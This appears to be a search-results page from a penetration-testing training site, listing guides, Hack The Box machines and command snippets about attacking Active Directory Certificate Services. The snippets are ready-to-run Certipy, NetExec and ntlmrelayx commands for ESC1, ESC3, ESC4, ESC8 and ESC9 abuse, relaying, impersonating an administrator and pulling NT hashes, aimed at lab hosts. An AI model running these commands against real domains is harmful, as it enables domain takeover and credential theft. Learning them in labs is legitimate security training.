Search everything
53 results for «adcs»
Guides 6
- ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16) Find vulnerable ADCS templates and CAs with Certipy and exploit ESC1, ESC4, ESC7, ESC8, ESC9 and ESC16, with the typical error for each case.
- Best Hack The Box machines to learn Active Directory, in order 21 HTB machines to learn Active Directory from easy to insane, what each one teaches and the order to do them in to prepare for the OSCP, CPTS or CRTP.
- NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam Capture NetNTLMv2 hashes with Responder, learn when they can be relayed (SMB signing, LDAP, ADCS), use ntlmrelayx and coerce auth with PetitPotam.
- Active Directory enumeration: users, LDAP, BloodHound and password spraying What to do when you find a domain controller: enumerate without credentials, get valid users, spray passwords safely and collect BloodHound data.
- Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.
- How antivirus and EDR detect you on Windows: AMSI, ETW, hooks, AppLocker and CLM explained What Defender or an EDR checks when you run a tool (signatures, AMSI, ETW, hooks, kernel callbacks), how to tell what protects a box, and AppLocker and CLM.
Techniques 1
MITRE ATT&CK techniques 3
Tools 1
Resources and tools 2
- Active Directory in depth BloodHound with handy Cypher queries, ADCS from ESC1 to ESC16, NTLM relay, delegation attacks and Impacket command by command.
- Windows and Active Directory privilege escalation Commands to enumerate Windows and get SYSTEM (SeImpersonate, services, AlwaysInstallElevated, credentials) and Active Directory basics (Kerberoasting, AS-REP, BloodHound, DCSync).
Machines 17
- Mist Hack The Box · windows · insane
- Coder Hack The Box · windows · insane
- Fries Hack The Box · windows · hard
- Anubis Hack The Box · windows · insane
- Escape Hack The Box · windows · medium
- Fluffy Hack The Box · windows · easy
- Mirage Hack The Box · windows · hard
- Logging Hack The Box · windows · medium
- Manager Hack The Box · windows · medium
- Scepter Hack The Box · windows · hard
- DarkCorp Hack The Box · windows · insane
- Authority Hack The Box · windows · medium
Learning paths 1
Checklists 1
Guide sections 8
- What next ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
- Common errors ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
- 1. Is there a CA? ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
- 4. ESC7: you manage the CA ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
- 5. ESC8: relaying to web enrolment ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
- 3. ESC4: you can modify the template ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
- 6. ESC9, ESC10 and ESC16: changing the UPN ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
- 2. ESC1: the template lets you choose the user ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16)
Commands 13
-
Vulnerable certificate templates (ADCS)
Windows and Active Directory privilege escalation › Active Directory › With credentials
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout -
With a certificate (from ADCS, for instance)
Evil-WinRM › Ways to authenticate
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key -
Certipy scan (names the ESC)
Active Directory in depth › ADCS (ESC1–16) › Find vulnerable templates
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout -
Enumerate the CA with NetExec
Active Directory in depth › ADCS (ESC1–16) › Find vulnerable templates
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs -
Make it vulnerable and restore it
Active Directory in depth › ADCS (ESC1–16) › ESC4 — control over the template
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration -
Relay to the CA and get a machine cert
Active Directory in depth › ADCS (ESC1–16) › ESC8 — HTTP relay to the CA web endpoint
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController -
Request the certificate with another SAN
Active Directory in depth › ADCS (ESC1–16) › ESC1 — arbitrary SAN (impersonate anyone)
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected] -
Relay to the CA (ESC8) for a machine cert
Active Directory in depth › NTLM relay › Set up the relay
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController -
Authenticate with the cert and get the NT hash
Active Directory in depth › ADCS (ESC1–16) › ESC1 — arbitrary SAN (impersonate anyone)
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -
ESC15: application policy with client-auth EKU
Active Directory in depth › ADCS (ESC1–16) › ESC13/ESC14/ESC15/ESC16
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication' -
Change the UPN of a user you control and request the cert as them
Active Directory in depth › ADCS (ESC1–16) › ESC9/ESC10 — no strong certificate mapping
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected] -
ESC3: request an agent cert and, with it, one on behalf of another
Active Directory in depth › ADCS (ESC1–16) › ESC2/ESC3 — Any Purpose and Enrollment Agent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx